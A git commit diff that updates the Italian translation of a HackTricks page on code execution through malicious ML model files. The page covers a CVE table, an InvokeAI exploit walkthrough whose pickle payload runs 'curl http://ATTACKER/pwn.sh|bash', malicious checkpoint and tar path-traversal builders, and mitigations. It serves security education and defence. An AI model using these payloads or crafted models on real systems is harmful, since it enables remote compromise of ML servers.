mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/AI/AI-Models-RCE.md'] to it
This commit is contained in:
Translator
parent
a0702eaa6b
commit
492f7715eb
@ -2,44 +2,45 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Caricamento modelli in RCE
|
||||
## Caricamento modelli per RCE
|
||||
|
||||
I modelli di Machine Learning sono solitamente condivisi in diversi formati, come ONNX, TensorFlow, PyTorch, ecc. Questi modelli possono essere caricati nelle macchine degli sviluppatori o nei sistemi di produzione per essere utilizzati. Di solito, i modelli non dovrebbero contenere codice malevolo, ma ci sono alcuni casi in cui il modello può essere utilizzato per eseguire codice arbitrario sul sistema come funzionalità prevista o a causa di una vulnerabilità nella libreria di caricamento del modello.
|
||||
I modelli di Machine Learning sono solitamente condivisi in diversi formati, come ONNX, TensorFlow, PyTorch, ecc. Questi modelli possono essere caricati nelle macchine degli sviluppatori o nei sistemi di produzione per essere utilizzati. Di norma i modelli non dovrebbero contenere codice malevolo, ma ci sono alcuni casi in cui il modello può essere usato per eseguire codice arbitrario sul sistema come funzionalità intenzionale o a causa di una vulnerabilità nella libreria di caricamento del modello.
|
||||
|
||||
Al momento della scrittura, questi sono alcuni esempi di questo tipo di vulnerabilità:
|
||||
Al momento della stesura questi sono alcuni esempi di questo tipo di vulnerabilità:
|
||||
|
||||
| **Framework / Strumento** | **Vulnerabilità (CVE se disponibile)** | **Vettore RCE** | **Riferimenti** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------|
|
||||
| **PyTorch** (Python) | *Deserializzazione insicura in* `torch.load` **(CVE-2025-32434)** | Pickle malevolo nel checkpoint del modello porta all'esecuzione di codice (bypassando la protezione `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + download di modello malevolo causa esecuzione di codice; deserializzazione RCE in API di gestione | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (YAML non sicuro) <br> **CVE-2024-3660** (Keras Lambda) | Caricamento del modello da YAML utilizza `yaml.unsafe_load` (esecuzione di codice) <br> Caricamento del modello con layer **Lambda** esegue codice Python arbitrario | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (analisi TFLite) | Modello `.tflite` creato provoca overflow intero → corruzione dell'heap (potenziale RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Caricamento di un modello tramite `joblib.load` esegue pickle con il payload `__reduce__` dell'attaccante | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *contestato* | `numpy.load` per impostazione predefinita consentiva array di oggetti pickle – `.npy/.npz` malevoli provocano esecuzione di codice | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (traversal di directory) <br> **CVE-2024-5187** (traversal tar) | Il percorso dei pesi esterni del modello ONNX può uscire dalla directory (lettura di file arbitrari) <br> Modello ONNX malevolo tar può sovrascrivere file arbitrari (portando a RCE) | |
|
||||
| ONNX Runtime (rischio di design) | *(Nessun CVE)* operazioni personalizzate ONNX / flusso di controllo | Modello con operatore personalizzato richiede il caricamento del codice nativo dell'attaccante; grafi di modello complessi abusano della logica per eseguire calcoli non intenzionati | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (traversal di percorso) | Utilizzando l'API di caricamento del modello con `--model-control` abilitato consente la traversata di percorso relativo per scrivere file (ad es., sovrascrivere `.bashrc` per RCE) | |
|
||||
| **GGML (formato GGUF)** | **CVE-2024-25664 … 25668** (molti overflow dell'heap) | File di modello GGUF malformato provoca overflow del buffer dell'heap nel parser, abilitando l'esecuzione di codice arbitrario sul sistema vittima | |
|
||||
| **Keras (formati più vecchi)** | *(Nessun nuovo CVE)* Modello Keras H5 legacy | Modello HDF5 (`.h5`) malevolo con codice Lambda layer continua a eseguire al caricamento (Keras safe_mode non copre il formato vecchio – “attacco di downgrade”) | |
|
||||
| **Altri** (generale) | *Difetto di design* – Serializzazione Pickle | Molti strumenti ML (ad es., formati di modello basati su pickle, `pickle.load` di Python) eseguiranno codice arbitrario incorporato nei file di modello a meno che non venga mitigato | |
|
||||
| **Framework / Strumento** | **Vulnerabilità (CVE se disponibile)** | **Vettore RCE** | **Riferimenti** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | Malicious pickle in model checkpoint leads to code execution (bypassing `weights_only` safeguard) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + malicious model download causes code execution; Java deserialization RCE in management API | |
|
||||
| **NVIDIA Merlin Transformers4Rec** | Unsafe checkpoint deserialization via `torch.load` **(CVE-2025-23298)** | Untrusted checkpoint triggers pickle reducer during `load_model_trainer_states_from_checkpoint` → code execution in ML worker | [ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/) |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | Loading model from YAML uses `yaml.unsafe_load` (code exec) <br> Loading model with **Lambda** layer runs arbitrary Python code | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Crafted `.tflite` model triggers integer overflow → heap corruption (potential RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Loading a model via `joblib.load` executes pickle with attacker’s `__reduce__` payload | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load` default allowed pickled object arrays – malicious `.npy/.npz` triggers code exec | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | ONNX model’s external-weights path can escape directory (read arbitrary files) <br> Malicious ONNX model tar can overwrite arbitrary files (leading to RCE) | |
|
||||
| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | Model with custom operator requires loading attacker’s native code; complex model graphs abuse logic to execute unintended computations | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | Using model-load API with `--model-control` enabled allows relative path traversal to write files (e.g., overwrite `.bashrc` for RCE) | |
|
||||
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | Malformed GGUF model file causes heap buffer overflows in parser, enabling arbitrary code execution on victim system | |
|
||||
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesn’t cover old format – “downgrade attack”) | |
|
||||
| **Others** (general) | *Design flaw* – Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | |
|
||||
|
||||
Inoltre, ci sono alcuni modelli basati su pickle di Python, come quelli utilizzati da [PyTorch](https://github.com/pytorch/pytorch/security), che possono essere utilizzati per eseguire codice arbitrario sul sistema se non vengono caricati con `weights_only=True`. Quindi, qualsiasi modello basato su pickle potrebbe essere particolarmente suscettibile a questo tipo di attacchi, anche se non è elencato nella tabella sopra.
|
||||
Inoltre, ci sono alcuni modelli basati su Python pickle come quelli usati da [PyTorch](https://github.com/pytorch/pytorch/security) che possono essere utilizzati per eseguire codice arbitrario sul sistema se non vengono caricati con `weights_only=True`. Quindi, qualsiasi modello basato su pickle potrebbe essere particolarmente suscettibile a questo tipo di attacchi, anche se non è elencato nella tabella sopra.
|
||||
|
||||
### 🆕 InvokeAI RCE tramite `torch.load` (CVE-2024-12029)
|
||||
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
|
||||
|
||||
`InvokeAI` è una popolare interfaccia web open-source per Stable-Diffusion. Le versioni **5.3.1 – 5.4.2** espongono l'endpoint REST `/api/v2/models/install` che consente agli utenti di scaricare e caricare modelli da URL arbitrari.
|
||||
`InvokeAI` è una popolare interfaccia web open-source per Stable-Diffusion. Le versioni **5.3.1 – 5.4.2** espongono l'endpoint REST `/api/v2/models/install` che permette agli utenti di scaricare e caricare modelli da URL arbitrari.
|
||||
|
||||
Internamente, l'endpoint chiama eventualmente:
|
||||
Internamente l'endpoint alla fine chiama:
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
Quando il file fornito è un **PyTorch checkpoint (`*.ckpt`)**, `torch.load` esegue una **deserializzazione pickle**. Poiché il contenuto proviene direttamente dall'URL controllato dall'utente, un attaccante può incorporare un oggetto malevolo con un metodo `__reduce__` personalizzato all'interno del checkpoint; il metodo viene eseguito **durante la deserializzazione**, portando a **esecuzione di codice remoto (RCE)** sul server InvokeAI.
|
||||
Quando il file fornito è un **PyTorch checkpoint (`*.ckpt`)**, `torch.load` esegue una **pickle deserialization**. Poiché il contenuto proviene direttamente da un URL controllato dall'utente, un attaccante può inserire un oggetto maligno con un metodo `__reduce__` personalizzato all'interno del checkpoint; il metodo viene eseguito **during deserialization**, portando a **remote code execution (RCE)** sul server InvokeAI.
|
||||
|
||||
La vulnerabilità è stata assegnata **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||
Alla vulnerabilità è stato assegnato **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||
|
||||
#### Guida all'esploitazione
|
||||
#### Exploitation walk-through
|
||||
|
||||
1. Crea un checkpoint malevolo:
|
||||
1. Crea un checkpoint maligno:
|
||||
```python
|
||||
# payload_gen.py
|
||||
import pickle, torch, os
|
||||
@ -51,7 +52,7 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
|
||||
with open("payload.ckpt", "wb") as f:
|
||||
pickle.dump(Payload(), f)
|
||||
```
|
||||
2. Ospita `payload.ckpt` su un server HTTP che controlli (ad es. `http://ATTACKER/payload.ckpt`).
|
||||
2. Ospita `payload.ckpt` su un server HTTP che controlli (es. `http://ATTACKER/payload.ckpt`).
|
||||
3. Attiva l'endpoint vulnerabile (nessuna autenticazione richiesta):
|
||||
```python
|
||||
import requests
|
||||
@ -67,33 +68,76 @@ json={}, # body can be empty
|
||||
timeout=5,
|
||||
)
|
||||
```
|
||||
4. Quando InvokeAI scarica il file chiama `torch.load()` → il gadget `os.system` viene eseguito e l'attaccante ottiene l'esecuzione di codice nel contesto del processo InvokeAI.
|
||||
4. Quando InvokeAI scarica il file chiama `torch.load()` → il gadget `os.system` viene eseguito e l'attaccante ottiene esecuzione di codice nel contesto del processo InvokeAI.
|
||||
|
||||
Exploit pronto all'uso: **Metasploit** modulo `exploit/linux/http/invokeai_rce_cve_2024_12029` automatizza l'intero flusso.
|
||||
Exploit pronto all'uso: modulo **Metasploit** `exploit/linux/http/invokeai_rce_cve_2024_12029` automatizza l'intero flusso.
|
||||
|
||||
#### Condizioni
|
||||
|
||||
• InvokeAI 5.3.1-5.4.2 (flag di scansione predefinito **false**)
|
||||
• `/api/v2/models/install` raggiungibile dall'attaccante
|
||||
• Il processo ha permessi per eseguire comandi shell
|
||||
• InvokeAI 5.3.1-5.4.2 (scan flag default **false**)
|
||||
• `/api/v2/models/install` raggiungibile dall'attaccante
|
||||
• Il processo ha i permessi per eseguire comandi shell
|
||||
|
||||
#### Mitigazioni
|
||||
|
||||
* Aggiorna a **InvokeAI ≥ 5.4.3** – la patch imposta `scan=True` per impostazione predefinita e esegue la scansione malware prima della deserializzazione.
|
||||
* Quando carichi i checkpoint programmaticamente usa `torch.load(file, weights_only=True)` o il nuovo [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
|
||||
* Applica liste di autorizzazione / firme per le fonti dei modelli e esegui il servizio con il minor privilegio possibile.
|
||||
* Aggiornare a **InvokeAI ≥ 5.4.3** – la patch imposta `scan=True` per impostazione predefinita ed esegue la scansione per malware prima della deserializzazione.
|
||||
* Quando carichi checkpoint programmaticamente usa `torch.load(file, weights_only=True)` o il nuovo helper [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security).
|
||||
* Applicare allow-lists / firme per le sorgenti dei modelli ed eseguire il servizio con privilegi minimi.
|
||||
|
||||
> ⚠️ Ricorda che **qualsiasi** formato basato su pickle di Python (inclusi molti file `.pt`, `.pkl`, `.ckpt`, `.pth`) è intrinsecamente insicuro da deserializzare da fonti non attendibili.
|
||||
> ⚠️ Ricorda che **qualsiasi** formato Python basato su pickle (inclusi molti file `.pt`, `.pkl`, `.ckpt`, `.pth`) è intrinsecamente insicuro da deserializzare da sorgenti non attendibili.
|
||||
|
||||
---
|
||||
|
||||
Esempio di una mitigazione ad hoc se devi mantenere in esecuzione versioni più vecchie di InvokeAI dietro un reverse proxy:
|
||||
Esempio di mitigazione ad hoc se devi mantenere versioni più vecchie di InvokeAI in esecuzione dietro un reverse proxy:
|
||||
```nginx
|
||||
location /api/v2/models/install {
|
||||
deny all; # block direct Internet access
|
||||
allow 10.0.0.0/8; # only internal CI network can call it
|
||||
}
|
||||
```
|
||||
### 🆕 NVIDIA Merlin Transformers4Rec RCE tramite `torch.load` non sicuro (CVE-2025-23298)
|
||||
|
||||
Transformers4Rec di NVIDIA (parte di Merlin) esponeva un loader di checkpoint non sicuro che chiamava direttamente `torch.load()` su percorsi forniti dall'utente. Poiché `torch.load` si basa su Python `pickle`, un checkpoint controllato dall'attaccante può eseguire codice arbitrario tramite un reducer durante la deserializzazione.
|
||||
|
||||
Percorso vulnerabile (prima della correzione): `transformers4rec/torch/trainer/trainer.py` → `load_model_trainer_states_from_checkpoint(...)` → `torch.load(...)`.
|
||||
|
||||
Perché questo porta a RCE: in Python pickle, un oggetto può definire un reducer (`__reduce__`/`__setstate__`) che restituisce un callable e gli argomenti. Il callable viene eseguito durante l'unpickling. Se un tale oggetto è presente in un checkpoint, viene eseguito prima che vengano utilizzati i pesi.
|
||||
|
||||
Esempio minimo di checkpoint malevolo:
|
||||
```python
|
||||
import torch
|
||||
|
||||
class Evil:
|
||||
def __reduce__(self):
|
||||
import os
|
||||
return (os.system, ("id > /tmp/pwned",))
|
||||
|
||||
# Place the object under a key guaranteed to be deserialized early
|
||||
ckpt = {
|
||||
"model_state_dict": Evil(),
|
||||
"trainer_state": {"epoch": 10},
|
||||
}
|
||||
|
||||
torch.save(ckpt, "malicious.ckpt")
|
||||
```
|
||||
Vettori di consegna e raggio d'impatto:
|
||||
- Trojanized checkpoints/models condivisi tramite repo, bucket o artifact registries
|
||||
- Pipeline di resume/deploy automatizzate che caricano automaticamente i checkpoint
|
||||
- L'esecuzione avviene all'interno di training/inference workers, spesso con privilegi elevati (es.: root in containers)
|
||||
|
||||
Fix: Commit [b7eaea5](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903) (PR #802) ha sostituito la chiamata diretta `torch.load()` con un deserializzatore ristretto con allow-list implementato in `transformers4rec/utils/serialization.py`. Il nuovo loader valida tipi/campi e impedisce che callable arbitrari vengano invocati durante il load.
|
||||
|
||||
Indicazioni difensive specifiche per i checkpoint PyTorch:
|
||||
- Do not unpickle untrusted data. Preferire formati non eseguibili come [Safetensors](https://huggingface.co/docs/safetensors/index) o ONNX quando possibile.
|
||||
- Se devi usare la serializzazione PyTorch, assicurati `weights_only=True` (supportato nelle versioni più recenti di PyTorch) oppure usa un unpickler custom con allow-list simile alla patch di Transformers4Rec.
|
||||
- Applica provenienza/firme del modello e esegui la deserializzazione in sandbox (seccomp/AppArmor; utente non-root; FS ristretto e no network egress).
|
||||
- Monitora la presenza di child process inattesi dai servizi ML al momento del load del checkpoint; traccia l'uso di `torch.load()`/`pickle`.
|
||||
|
||||
POC and vulnerable/patch references:
|
||||
- Vulnerable pre-patch loader: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js
|
||||
- Malicious checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js
|
||||
- Post-patch loader: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js
|
||||
|
||||
## Esempio – creazione di un modello PyTorch malevolo
|
||||
|
||||
- Crea il modello:
|
||||
@ -131,11 +175,11 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
|
||||
# /tmp/pwned.txt is created even if you get an error
|
||||
```
|
||||
## Modelli per il Path Traversal
|
||||
## Modelli per Path Traversal
|
||||
|
||||
Come commentato in [**questo post del blog**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), la maggior parte dei formati dei modelli utilizzati da diversi framework AI si basa su archivi, di solito `.zip`. Pertanto, potrebbe essere possibile abusare di questi formati per eseguire attacchi di path traversal, consentendo di leggere file arbitrari dal sistema in cui il modello è caricato.
|
||||
As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), la maggior parte dei formati dei modelli usati dai diversi framework AI sono basati su archivi, solitamente `.zip`. Pertanto, potrebbe essere possibile abusare di questi formati per eseguire path traversal attacks, permettendo di leggere file arbitrari dal sistema in cui il modello viene caricato.
|
||||
|
||||
Ad esempio, con il seguente codice puoi creare un modello che creerà un file nella directory `/tmp` quando caricato:
|
||||
Ad esempio, con il seguente codice puoi creare un modello che creerà un file nella directory `/tmp` quando viene caricato:
|
||||
```python
|
||||
import tarfile
|
||||
|
||||
@ -146,7 +190,7 @@ return member
|
||||
with tarfile.open("traversal_demo.model", "w:gz") as tf:
|
||||
tf.add("harmless.txt", filter=escape)
|
||||
```
|
||||
Oppure, con il seguente codice puoi creare un modello che creerà un symlink alla directory `/tmp` quando caricato:
|
||||
Oppure, con il codice seguente puoi creare un modello che creerà un symlink alla directory `/tmp` quando viene caricato:
|
||||
```python
|
||||
import tarfile, pathlib
|
||||
|
||||
@ -161,9 +205,10 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||
tf.add(PAYLOAD) # rides the symlink
|
||||
```
|
||||
### Approfondimento: deserializzazione .keras di Keras e ricerca gadget
|
||||
### Approfondimento: Keras .keras deserialization and gadget hunting
|
||||
|
||||
Per una guida mirata su .keras internals, Lambda-layer RCE, the arbitrary import issue in ≤ 3.8, and post-fix gadget discovery inside the allowlist, vedi:
|
||||
|
||||
Per una guida focalizzata sugli interni di .keras, RCE di Lambda-layer, il problema di importazione arbitraria in ≤ 3.8 e la scoperta di gadget post-fix all'interno della lista di autorizzazione, vedere:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
|
||||
@ -171,9 +216,16 @@ Per una guida focalizzata sugli interni di .keras, RCE di Lambda-layer, il probl
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [OffSec blog – "CVE-2024-12029 – Deserializzazione di dati non attendibili in InvokeAI"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [Commit di patch InvokeAI 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Documentazione del modulo Metasploit di Rapid7](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – considerazioni sulla sicurezza per torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
- [ZDI blog – CVE-2025-23298 Getting Remote Code Execution in NVIDIA Merlin](https://www.thezdi.com/blog/2025/9/23/cve-2025-23298-getting-remote-code-execution-in-nvidia-merlin)
|
||||
- [ZDI advisory: ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/)
|
||||
- [Transformers4Rec patch commit b7eaea5 (PR #802)](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903)
|
||||
- [Pre-patch vulnerable loader (gist)](https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js)
|
||||
- [Malicious checkpoint PoC (gist)](https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js)
|
||||
- [Post-patch loader (gist)](https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js)
|
||||
- [Hugging Face Transformers](https://github.com/huggingface/transformers)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user